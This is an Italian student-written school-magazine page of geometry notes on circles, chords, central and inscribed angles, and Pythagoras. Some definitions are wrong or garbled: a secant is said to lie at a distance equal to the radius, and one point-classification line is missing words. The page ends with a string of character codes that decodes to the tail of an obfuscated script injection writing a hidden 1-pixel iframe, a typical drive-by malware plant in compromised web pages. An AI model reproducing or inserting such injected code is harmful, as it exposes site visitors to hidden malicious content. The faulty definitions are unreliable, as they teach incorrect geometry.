La voce del Ko.Al.A.

di Elena Badagliacca, Serena Canini, Andrea Casolari e Ilenia Iacopi

Circonferenza: è una linea chiusa formata da tutti i punti del piano che hanno la stessa distanza da un punto interno O.
Questo punto O si chiama centro della circonferenza e la distanza fra i punti della circonferenza e il centro si chiama raggio della circonferenza.

Particolarità: il centro coincide sempre col punto nel quale viene puntato il compasso.

Cerchio: e la parte di piano racchiusa da una circonferenza che ne costituisce il contorno.

Punti, rette e circonferenze

I punti del piano su cui giace una circonferenza possono essere:
- interni se la loro distanza dal centro è minore del raggio
- appartenenti se la loro distanza dal centro al raggio
- esterni se la loro distanza dal centro è maggiore del raggio

Una retta giacente sullo stesso piano di una circonferenza può essere:
- secante quando ha in comune con la circonferenza 2 punti e la distanza dal centro è uguale al raggio.

- tangente quando ha in comune con la circonferenza 1 punto e questo si chiama punto di tangenza. Tangente e raggio sono perpendicolari.

- esterna quando non ha punti in comune con la circonferenza e la sua distanza è maggiore del raggio.

• Due circonferenze giacenti sullo stesso piano possono essere tra loro:
- secanti quando hanno 2 punti in comune e la distanza dei loro centri è minore della somma dei raggi.

- tangenti esternamente quando hanno 1 solo punto in comune e la distanza dei loro centri è uguale alla somma dei raggi.

- tangenti internamente quando hanno 1 solo punto in comune e la distanza dei loro centri è uguale alla differenza dei raggi.

-una esterna all’altra quando non hanno alcun punto in comune e la distanza dei loro centri è maggiore della somma dei raggi.

-una interna all’altra quando non hanno alcun punto in comune e la distanza dei loro centri è minore della differenza dei raggi.

- concentriche quando sono una interna all’altra e hanno lo stesso centro. La parte di piano da esse delimitata si chiama corona circolare.

Parti di circonferenza e di cerchio

Le parti di una circonferenza

- Si chiama arco la parte di circonferenza limitata da due punti detti estremi dell’arco
- Si chiama corda ogni segmento che unisce due punti della circonferenza
- Si chiama diametro ogni corda che passa per il centro

Particolarità: gli estremi del diametro dividono la circonferenza in due archi congruenti detti semicirconferenze e il cerchio in 2 parti congruenti dette semicerchi.

- La perpendicolare condotta dal centro a una qualsiasi corda divide tale corda in due parti congruenti: essa è quindi asse della corda

- Corde di una stessa circonferenza fra loro congruenti hanno uguale distanza dal centro

Angoli al centro e alla circonferenza

• Si chiama angolo al centro di una circonferenza ogni angolo avente il vertice coincidente con il centro della circonferenza.

• Si chiama angolo alla circonferenza un angolo che ha il vertice sulla circonferenza e i cui lati possono essere entrambi secanti oppure uno secante e l’altro tangente alla circonferenza.

Particolarità: un particolare angolo alla circonferenza è quello i cui lati sono uno tangente e l’altro secante e quest’ultimo coincide con un diametro. Poiché il diametro e la tangente sono perpendicolari, l’angolo alla circonferenza considerato è un angolo retto

Se in una circonferenza consideriamo un arco qualsiasi, possiamo osservare che:
- esiste un solo angolo al centro che insiste su un tale arco
- esistono infiniti angoli alla circonferenza che insistono su un tale arco
Inoltre:
1. a ogni angolo alla circonferenza corrisponde un solo angolo al centro
2. a ogni angolo al centro corrispondono infiniti angoli alla circonferenza

Proprietà degli angoli al centro e degli angoli alla circonferenza

 angoli al centro che insistono su archi congruenti sono tra loro congruenti.

 in una qualsiasi circonferenza ogni angolo alla circonferenza è la metà dell’ angolo al centro che insiste sullo stesso arco.

 tutti gli angoli alla circonferenza che insistono sullo stesso arco sono tra loro congruenti.

 angoli alla circonferenza che insistono su archi congruenti sono tra loro congruenti.

Particolarità: un angolo alla circonferenza che insiste su una semicirconferenza è un angolo retto. Tutti i triangoli aventi un vertice appartenente a una circonferenza e un lato coincidente con un diametro della circonferenza stessa sono triangoli rettangoli.

Il teorema di Pitagora e la circonferenza…

Fra le varie applicazioni del teorema di Pitagora alcune riguardano anche la circonferenza:

- se in una circonferenza inscriviamo un triangolo avente un lato coincidente con il diametro, questo è un triangolo rettangolo.

- se in una circonferenza tracciamo una corda, il raggio passante per un estremo della corda e la distanza dal centro O, otteniamo un triangolo rettangolo dove l’ipotenusa è uguale al raggio, un cateto è uguale alla distanza tra centro e corda e l’altro cateto è uguale a metà della corda.

104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))